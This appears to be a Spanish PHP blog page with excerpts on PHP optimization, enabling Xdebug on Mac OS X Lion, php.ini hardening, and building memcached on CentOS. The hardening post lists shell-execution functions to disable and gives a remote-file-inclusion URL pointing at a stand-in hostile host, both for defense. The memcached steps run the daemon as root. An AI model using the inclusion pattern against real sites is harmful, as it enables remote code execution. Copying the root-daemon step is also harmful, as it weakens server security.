Optimización de PHP sin tocar código

Sí, título amarillista 😀 pero es real, se puede conseguir una gran mejora del rendimiento en aplicaciones PHP de las que para efectos prácticos no nos va a interesar si están bien o mal diseñadas, sino que supondremos que se requiere mejorar su rendimiento sin incrementar los recursos de hardware.
Voy a poner el ejemplo de este blog, en la noche de ayer decidí que andaba algo lento y quería mejorar su rendimiento y velocidad de respuesta, así que el plan era conseguir la optimización de PHP sin hacer mayores cambios, por lo que verifiqué que en el servidor donde estaba hosteado estuviera instalado y activado eaccelerator (porque a decir verdad, hoy en día no puedes hostearte en ningún sitio donde no te provean al menos opcode cache y en unwebparatodos lo hacemos). Continuar leyendo “Optimización de PHP sin tocar código”

Habilitando Apache, PHP y php Xdebug en Mac OS X Lion

Mac OS X no es otra cosa que un Unix y como tal la administración de servicios es bastante simple, además tiene incluido un servidor apache2 en su instalación por defecto, también tiene incluido php como parte de la instalación, en definitiva no queda mucho trabajo por delante, es incluso más simple que hacerlo en un distro Linux de toda la vida.
Puede habilitarse apache, a través de las preferencias del sistema, seleccionando compartir, luego click en compartir, luego seleccionar compartir Web.
Preferencias de Sistema Mac Lion Preferencias de Sistema - Compartir Mac Lion
Hasta aquí bastante simple y no se necesita tocar nada a mano, ahora vamos a necesitar de la consola, vas al launchpad, utilidades, Terminal.
Habilitar php:
sudo vim /etc/apache2/httpd.conf Ingresas tu clave.
Buscas y editas la línea que contiene:
#LoadModule php5_module libexec/apache2/libphp5.so
retiras la almohadilla “#” quedará así:
LoadModule php5_module libexec/apache2/libphp5.so
y guardas (:x!)
Habilidar Xdebug:
Mac OS X Lion incluye el módulo xdebug, para habilitarlo:
sudo cp /etc/php.ini.default /etc/php.ini Ingresas tu clave.
sudo vim /etc/php.ini buscas y editas la línea que contiene:
#zend_extension="/usr/lib/php/extensions/no-debug-non-zts-20090626/xdebug.so"
retiras la almohadilla y quedará:
zend_extension="/usr/lib/php/extensions/no-debug-non-zts-20090626/xdebug.so"
ahora guardas y reinicias apache:
sudo apachectl restart Listo.!
Adicional, si planeas utilizar NetBeans y Xdebuger, agrega estas líneas a tu archivo php.ini:
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_host=localhost
xdebug.remote_port=9000
y sigue las instrucciones desde NetBeans

PHP es solo una opción

Anoche leí un artículo que plantea con muchos argumentos que además son válidos cuando los observas desde el punto de vista que muestra el autor que php tiene un mal diseño. A decir verdad es algo que puedes notar cuando empiezas a trabajar seriamente con PHP, que empieza a fallar a su gusto y a hacer cosas que no parecen lógicas inicialmente, luego te acostumbras y entiendes que lo único que sucede es que php tiene otro paradigma. Continuar leyendo “PHP es solo una opción”

Configuración y Seguridad en PHP.INI

Lo primero es definir las funciones a no utilizar o no permitir su ejecución en nuestros servidores, mi recomendación es ser conservadores, no excederse ni limitar a los usuarios, pero si controlar la ejecución de las que consideramos potencialmente peligrosas o que simplemente no quermos mostrar, las siguientes sin mi recomendación:
disable_functions = popen,exec,system,passthru,proc_open,shell_exec,phpinfo,
disk_free_space,diskfreespace,leak,set_time_limit,
show_source,pclose,proc_nice,proc_terminate,
proc_get_status,proc_close,pfsockopen

También está evitar la carga dinámica de módulos (más información: http://www.gonullyourself.org/ezines/phrack/62/p62-0x0a_Attacking_Apache_Modules.txt ) con:
enable_dl = Off
Luego, apagar register_globals y no permitir la creación de variables al vuelo entre otras cosas con:
register_globals = Off
Otras funciones un tanto incomodas o innecesarias como expose_php (ej ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 )
expose_php = Off
Setear open_basedir para minimizar el acceso al sistema de ficheros, si usas apache con vhost como es mi caso, el setear open_basedir en php.ini no será de tanta utilidad como se esperaría, falta hacerlo en cada vhost, una ayuda sería esta:
<VirtualHost 127.0.0.1:80>
ServerAdmin webmaster@dominio.com
DocumentRoot "/www/htdocs"
ServerName midominio.com
ServerAlias www.midominio.com
...
<Directory "/www/htdocs">
Options -Indexes FollowSymLinks -ExecCGI
AllowOverride All
DirectoryIndex index.php index.html
Order allow,deny
Allow from all
<IfModule mod_php5.c>
php_admin_value open_basedir "/www/htdocs:/tmp"
</IfModule>
</Directory>
</VirtualHost>

o simplemente:
open_basedir = /www/htdocs:/tmp
Definitivamente desactivar allow_url_fopen, puede parecer una buena idea en principio, pero no todos controlarán lo que pasa por sus urls (ejem: http://midominio.com/?configile.php=http://dominio-hack.ru/config-spam.php)
El resto parece carpintería, pero a tener en cuenta, apagar
magic_quotes_gpc = Off
output_buffering = Off

Y por último pero no menos importante, setear variables como:
max_execution_time =
max_input_time =
memory_limit =
post_max_size =
upload_max_filesize =

Instalación de memcached en CentOS

#Descarga el archivo fuente desde: http://www.memcached.org/
wget -c http://memcached.googlecode.com/files/memcached-1.4.10.tar.gz
tar -xzvf memcached-1.4.10.tar.gz cd memcached-1.4.10
#Instalar prerequisitos:
yum install libevent libevent-devel -y
# Configurar LDFLAGS='-Wl,--rpath /usr/local/lib' ./configure --prefix=/usr/local
#Compilar
make
#Instalar
make install
# prueba que esté funcinando:
memcached -u root -d && ps aux | grep memcached
echo si todo sale bien, mata el proceso, con pkill memcached
Continuar leyendo “Instalación de memcached en CentOS”